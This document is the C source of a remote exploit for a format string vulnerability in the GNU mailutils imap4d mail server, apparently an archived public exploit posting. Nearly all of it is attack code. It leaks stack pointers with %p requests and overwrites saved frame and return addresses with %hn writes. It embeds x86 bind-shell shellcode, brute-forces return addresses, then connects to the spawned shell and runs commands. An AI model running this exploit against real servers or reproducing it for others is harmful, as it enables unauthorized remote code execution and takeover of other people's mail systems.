GNU mailutils imap4d format string vulnerability exploit.
1aeb5268237dc156c98ea46120a415eb2919f804e1eb76d6673a48b5a094f682
/*
* imap4d_expl.c - GNU mailutils imap4d format string vuln exploit.
*
* This code is unfinished and buggy, there are somewhere bugs that make it
* crash, but im too lazy to fix them :)
*
* Exploitation:
* The exploit assumes there is no user input on the stack that is reachable
* with the format string, because on some systems (i think Debian Sarge was
* on of them) it is the case.
* The exploit trys to guess the address of a saved eip and then overwrites
* some saved ebps to make them point to the guessed eip address, so we can
* use these as pointers for the eip overwriting.
* The exploit sends always a request of the same length, so always the same
* chunk of memory in the heap is allocated for the request.
* In the information gathering step it reads potential pointers to the chunk
* and later trys each of them as return address.
*
*
* This exploit was not written by rave of Rosiello Security.
* Some fag posted it to fd to annoy me and faked the header.
*
* - crash-x
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>
//#define DEBUG
#define SHELL_PORT "34563"
#define SHELL_COMMAND "uname -a; id;"
#define PORT_OFFSET 20
#define ARG_1_LENGH 180
#define ARG_3_LENGH 315
#define SLEEP 1
/* by unknown */
char shellcode[] =
"\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66\xcd"
"\x80\x31\xd2\x52\x66\x68\x13\xd2\x43\x66\x53\x89\xe1\x6a"
"\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89\x44\x24\x04"
"\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52\x52\x43\xb0\x66"
"\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x75"
"\xf6\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
"\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
void prepare(int arg){
int port=htons(arg), p1, p2;
p2 = (port & 0xff00) >> 8;
p1 = (port & 0x00ff);
shellcode[PORT_OFFSET] = p1;
shellcode[PORT_OFFSET+1] = p2;
}
struct framep {
int addr;
unsigned short dpa_offset;
};
struct targ{
unsigned int retloc; /* the eip */
/*
* possible retaddrs, we have to bruteforce a
* little bit to find the username field on heap
*/
int pretaddr[10];
int ret_count;
struct framep ebps[8];
int ebp_count;
int use_ebp1;
int use_ebp2;
unsigned short ebp1_offset; /* DPA offset of the first ebp */
unsigned short ebp2_offset;
unsigned short retl_high_offset; /* DPA offset of high part of the retloc */
unsigned short retl_low_offset;
} target;
void usage(char *a){
printf("[-] Usage: %s -h <host> [options]\n", a);
printf("[!] Options:\n");
printf("\t\t-h\tHostname which you want attack (required)\n");
printf("\t\t-p\tPort of the imapd (default: 143)\n");
printf("\t\t-s\tHow long to sleep before try connect to shell (default: %d)\n", SLEEP);
exit(1);
}
int sockprintf(int sock, const char *s, ...){
char *ptr;
int bytes;
va_list arg;
va_start(arg, s);
if(vasprintf(&ptr, s, arg) == -1){
free(ptr);
return -1;
}
va_end(arg);
if((bytes = send(sock, ptr, strlen(ptr), 0)) == -1){
/* free(ptr); do'h... shame on me.... */
return -1;
}
free(ptr);
return bytes;
}
void statusf(const char *s, ...){
va_list arg;
va_start(arg, s);
vprintf(s, arg);
fflush(stdout);
}
int resolv(struct sockaddr_in *addr, char *hostn){
struct hostent *host;
if (!inet_aton(hostn, &addr->sin_addr)){
host = gethostbyname(hostn);
if (host == NULL){
printf("[-] Wasnt able to resolve %s!\n", hostn);
return -1;
}
addr->sin_addr = *(struct in_addr*)host->h_addr;
}
return 0;
}
int conn(struct sockaddr_in addr, int port){
int sock;
if((sock = socket(PF_INET, SOCK_STREAM, 0)) == -1){
return -1;
}
addr.sin_port = htons(port);
addr.sin_family = AF_INET;
if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == -1){
return -1;
}
return sock;
}
int get_shell(struct sockaddr_in addr, int port, int sleeps){
int sock;
char buffer[1024];
fd_set fds;
sleep(sleeps);
if((sock = conn(addr, port)) == -1)
return (-1);
printf("[+]\n[+] Wooohooo we got a shell!\n");
sockprintf(sock, SHELL_COMMAND"\r\n");
while(1){
FD_ZERO(&fds);
FD_SET(0, &fds);
FD_SET(sock, &fds);
if (select(255, &fds, NULL, NULL, NULL) == -1){
fprintf(stderr,"[-] sending failed\n");
close(sock);
exit(1);
}
memset(buffer, 0x0, sizeof(buffer));
if (FD_ISSET(sock, &fds)){
if (recv(sock, buffer, sizeof(buffer), 0) == -1){
fprintf(stderr, "[-] Connection closed by remote host!\n");
close(sock);
exit(1);
}
fprintf(stderr, "%s", buffer);
}
if (FD_ISSET(0, &fds)){
read(0, buffer, sizeof(buffer));
write(sock, buffer, strlen(buffer));
}
}
return 0;
}
void gen_req2(char *buffer, unsigned int size, unsigned short count){
unsigned short high, low;
high = (target.pretaddr[count] & 0xffff0000) >> 16;
low = (target.pretaddr[count] & 0x0000ffff);
memset(buffer, 0x0, size);
snprintf(buffer, size-1, "%%.%uu%%%d$hn%%.%uu%%%d$hn",
high, target.retl_high_offset, (low-high), target.retl_low_offset);
if(strlen(buffer) > 135){
printf("[-] get_info failed, this really shouldnt happen...\n");
exit(-1);
}
memset(buffer + strlen(buffer), 0x41, 135 - strlen(buffer));
strncat(buffer, " LOGIN ", size - strlen(buffer) - 1);
memset(buffer + strlen(buffer), 0x90, 353);
if(strlen(shellcode) > 350){
printf("[-] The shellcode (%d bytes) is too big, maximal size is 350\n", strlen(shellcode));
exit(-1);
}
memcpy(buffer + strlen(buffer) - strlen(shellcode) - 2, shellcode, strlen(shellcode));
buffer[strlen(buffer)] = ' ';
strncat(buffer, "BBBB", size - strlen(buffer) - 1);
}
void gen_req1(char *buffer, unsigned int size){
unsigned short retl;
retl = (target.retloc & 0x0000ffff);
memset(buffer, 0x0, size);
snprintf(buffer, size-1, "%%.%uu%%%d$hn__%%%d$hn",
retl, target.ebps[target.ebp_count - 2].dpa_offset, target.ebps[target.ebp_count - 1].dpa_offset);
if(strlen(buffer) > 135){
printf("[-] get_info failed, this really shouldnt happen, wtf did you do?\n");
exit(-1);
}
memset(buffer + strlen(buffer), 0x41, ARG_1_LENGH - strlen(buffer));
strncat(buffer, " LOGIN ", size - strlen(buffer) - 1);
memset(buffer + strlen(buffer), 0x41, ARG_3_LENGH);
strncat(buffer, " BBBB", size - strlen(buffer) - 1);
}
void gen_info_req(char *buffer, unsigned int size, int offset){
int i;
memset(buffer, 0x0, size);
if(offset == 0)
for(i = 0; i < 60; i++)
strncat(buffer, "_%p", size - strlen(buffer) - 1);
else
for(i = 0; i < 30; i++)
snprintf(buffer + strlen(buffer), size - strlen(buffer), "_%%%d$p", offset+i);
strncat(buffer, " LOGIN ", size - strlen(buffer) - 1);
memset(buffer + strlen(buffer), 0x41, ARG_3_LENGH);
strncat(buffer, " BBBB", size - strlen(buffer) - 1);
}
void get_infos(int sock){
char buffer[1024], ibuffer[1024], *ptr;
int i, j, bytes, ebp_tmp, offset, ret_tmp;
gen_info_req(ibuffer, sizeof(ibuffer), 0);
#ifdef DEBUG
printf("[D] Sending: %s\n", ibuffer);
#endif
if(sockprintf(sock, "%s\r\n", ibuffer) == -1){
printf("[-] Wasnt able to determine infos\n");
exit(-1);
}
if((bytes = recv(sock, buffer, sizeof(buffer) - 1, 0)) == -1){
printf("[-] Wasnt able to determine infos\n");
exit(-1);
}
buffer[bytes] = 0x0;
#ifdef DEBUG
printf("[D] Recived: %s\n", buffer);
#endif
memset(&target, 0x0, sizeof(target));
ptr = buffer;
for(i = 1; (ptr = strchr(ptr, '_')); i++){
ptr++;
if(!strncmp(ptr, "0xbfff", 6) && target.ebp_count < 8){
ebp_tmp = strtoul(ptr,NULL,0);
if(!(ptr = strchr(ptr, '_'))){
i++;
continue;
}
ptr++;
i++;
if(strncmp(ptr, "0x80", 4) && strncmp(ptr, "0x080", 5)
&& strncmp(ptr, "0x40", 4) && strncmp(ptr, "0x040", 5))
continue;
for(j = 0; j < target.ebp_count; j++)
if(target.ebps[j].addr == ebp_tmp)
ebp_tmp = 0x0;
if(ebp_tmp == 0x0)
continue;
target.ebps[target.ebp_count].addr = ebp_tmp;
target.ebps[target.ebp_count].dpa_offset = i - 1;
#ifdef DEBUG
printf("[D] Found possible ebp: %p offset: %d\n",
target.ebps[target.ebp_count].addr, target.ebps[target.ebp_count].dpa_offset);
#endif
target.ebp_count++;
continue;
}
/*
* In the function util_do_command a pointer to the username is stored. username
* points to the second "word" of the string which we send. if we send always a
* string with 4 "words", which have in each request the same lengh,
* (word 1: 135bytes, string " LOGIN ", word 3: 353 bytes and word 4: 4 bytes,
* we will get always the same chunk of memory from malloc. So the address where
* username points to will always point to our 3. word, which will be in the last
* request our shellcode.
* The problem is, we know only that our string is on the heap, but there are a lot
* of pointers to addresses that could be the heap. so we just copy the first 10 pointers
* to 0x80* and try later each of them. bruteforcing 10 addresses wont take too long.
*/
if(target.ret_count < 10 && (!strncmp(ptr, "0x80", 4) || !strncmp(ptr, "0x080", 5))){
ret_tmp = strtoul(ptr,NULL,0);
for(j = 0; j < target.ret_count; j++)
if(target.pretaddr[j] == ret_tmp)
ebp_tmp = 0x0;
if(ebp_tmp == 0x0)
continue;
target.pretaddr[target.ret_count] = ret_tmp;
#ifdef DEBUG
printf("[D] Added %p to the possible retaddr table\n", target.pretaddr[target.ret_count]);
#endif
target.ret_count++;
}
}
target.retloc = target.ebps[0].addr + 4;
target.use_ebp1 = target.ebp_count - 2;
target.use_ebp2 = target.ebp_count - 1;
#ifdef DEBUG
printf("[D] retloc: %p\n", target.retloc);
#endif
/*
* we overwrite the ebp of imap4d_daemon and imap4d_mainloop with the address of the
* saved eip of util_do_command so we can use these to overwrite the eip with our retloc.
*/
gen_req1(buffer, sizeof(buffer));
#ifdef DEBUG
printf("[D] Press enter to continue\n");
getchar();
#endif
sockprintf(sock, "%s\r\n", buffer);
#ifdef DEBUG
printf("[D] Sent: %s\n", buffer);
#endif
memset(buffer, 0x0, sizeof(buffer));
while((bytes = recv(sock, buffer, sizeof(buffer) - 1, 0))){
buffer[bytes] = 0x0;
if(strstr(buffer, "\r\n"))
break;
}
for(i = 0, offset = target.ebps[target.ebp_count - 2].dpa_offset; i < 4; i++){
gen_info_req(ibuffer, sizeof(ibuffer), offset);
sockprintf(sock, "%s\r\n", ibuffer);
#ifdef DEBUG
printf("[D] Sent ibuf: %s\n", ibuffer);
#endif
if((bytes = recv(sock, buffer, sizeof(buffer) - 1, 0)) == -1){
printf("[-] Wasnt able to determine infos\n");
exit(-1);
}
buffer[bytes] = 0x0;
#ifdef DEBUG
printf("[D] Recived ibuf: %s\n", buffer);
#endif
ptr = buffer;
for(j = 1; (ptr = strchr(ptr, '_')); j++){
ptr++;
if(target.retl_low_offset == 0 && strtoul(ptr, NULL, 0) == target.retloc)
target.retl_low_offset = j + offset - 1;
else if(target.retl_high_offset == 0&& strtoul(ptr, NULL, 0) == target.retloc + 2 )
target.retl_high_offset = j + offset - 1;
}
#ifdef DEBUG
printf("rl low: %d rl high %d\n", target.retl_low_offset, target.retl_high_offset);
#endif
if(target.retl_low_offset != 0 && target.retl_high_offset != 0)
break;
offset += 30;
}
if(target.retl_low_offset == 0 || target.retl_high_offset == 0){
printf("[-] Wasnt able to find retloc on stack\n");
exit(-1);
}
#ifdef DEBUG
printf("[D] Retloc low offset: %d Retloc high offset: %d\n", target.retl_low_offset, target.retl_high_offset);
#endif
}
int main(int argc, char **argv){
char *hostn = NULL, buffer[1024];
int i, sock, opt, port = 143, shell_port = atoi(SHELL_PORT), sleeps = SLEEP, bytes;
struct sockaddr_in addr;
printf("[!] mailutils imapd4d universal(?) exploit v 0.5 by crash-x\n");
while ((opt = getopt (argc, argv, "h:p:s:P:")) != -1){
switch (opt){
case 'h':
hostn = optarg;
break;
case 'p':
port = atoi(optarg);
if(port > 65535 || port < 1){
printf("[-] Port %d is invalid\n",port);
return 1;
}
break;
case 's':
sleeps = atoi(optarg);
break;
case 'P':
shell_port = atoi(optarg);
break;
default:
usage(argv[0]);
}
}
if(hostn == NULL)
usage(argv[0]);
prepare(shell_port);
resolv(&addr, hostn);
printf("[!] Connecting to %s\n", hostn);
if((sock = conn(addr, port)) == -1){
printf("[-] Connecting failed!\n");
return -1;
}
printf("[+] Connected!\n");
recv(sock, buffer, sizeof(buffer), 0);
get_infos(sock);
printf("[+] We got all infos, which we need, lets start!\n");
close(sock);
for(i = 0; i < target.ret_count; i++) {
statusf("[%d] Trying retaddr %p\r", i+1, target.pretaddr[i]);
if((sock = conn(addr, port)) == -1){
printf("[-] Connecting failed!\n");
return -1;
}
if(!(bytes = recv(sock, buffer, sizeof(buffer), 0))){
printf("[-] Wasnt able to recive data from server\n");
exit(-1);
}
gen_req1(buffer, sizeof(buffer));
sockprintf(sock, "%s\r\n", buffer);
while((bytes = recv(sock, buffer, sizeof(buffer) - 1, 0)) > 0){
buffer[bytes] = 0x0;
if(strstr(buffer, "\r\n"))
break;
}
gen_req2(buffer, sizeof(buffer), i);
#ifdef DEBUG
printf("[D] Press enter to continue\n");
getchar();
#endif
sockprintf(sock, "%s\r\n", buffer);
while((bytes = recv(sock, buffer, sizeof(buffer) - 1, 0)) > 0){
buffer[bytes] = 0x0;
if(strstr(buffer, "\r\n"))
break;
}
#ifdef DEBUG
printf("[D] Press enter to continue\n");
getchar();
#endif
close(sock);
get_shell(addr, shell_port, 1);
}
printf("\n[-] Exploit failed\n");
return 0;
}